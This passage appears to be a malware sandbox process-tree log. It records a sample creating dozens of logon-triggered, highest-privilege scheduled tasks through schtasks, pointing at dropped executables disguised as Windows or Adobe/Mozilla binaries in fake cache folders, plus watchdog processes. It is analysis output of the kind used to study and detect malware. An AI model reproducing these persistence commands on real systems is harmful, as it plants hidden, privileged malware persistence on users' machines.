    schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_windowsdesktop-runtime-7.0.16-win-x64_7" /tr ""C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_windowsdesktop-runtime-7.0.16-win-x64_7" /tr ""C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\taskkill.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\taskkill.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1388
- C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\UpdateCache\ExpandEnable.exe
  "C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\UpdateCache\ExpandEnable.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4384
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_agentactivationruntimestarter_3" /tr ""C:\ProgramData\Oracle\Logs\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_agentactivationruntimestarter_3" /tr ""C:\ProgramData\Oracle\Logs\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:860
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_raserver_7" /tr ""C:\ProgramData\MicrosoftService\raserver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4796
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_raserver_7" /tr ""C:\ProgramData\MicrosoftService\raserver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2860
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2572
- C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe
  "C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:3008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_1" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5140
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5812
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_1" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1236
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4092
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UserAccountControlSettings_3" /tr ""C:\ProgramData\MicrosoftService\UserAccountControlSettings.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UserAccountControlSettings_3" /tr ""C:\ProgramData\MicrosoftService\UserAccountControlSettings.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4316
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tttracer_5" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\tttracer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tttracer_5" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\tttracer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5508
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5004
- C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe
  "C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_1" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_1" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_2" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_2" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dialer_3" /tr ""C:\ProgramData\MicrosoftService\dialer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dialer_3" /tr ""C:\ProgramData\MicrosoftService\dialer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2684
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3268
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4784
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1476
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1456
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4840
- C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe
  "C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wlanext_1" /tr ""C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\wlanext.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wlanext_1" /tr ""C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\wlanext.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesProtection_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesProtection.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesProtection_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesProtection.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_isoburn_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\isoburn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_isoburn_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\isoburn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\mmc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\mmc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_6" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4124
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_6" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_7" /tr ""C:\ProgramData\MicrosoftService\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1892
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_7" /tr ""C:\ProgramData\MicrosoftService\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5268
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1512
- C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\wlanext.exe
  "C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\wlanext.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:1248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_1" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_1" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1080
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3452
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_6" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5652
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_6" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4488
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3420
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2676
- C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe
  "C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:760
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_powercfg_1" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Power Settings
  PID:3688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_powercfg_1" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4860
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3456
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1120
- C:\Windows\SysWOW64\cmd.exe
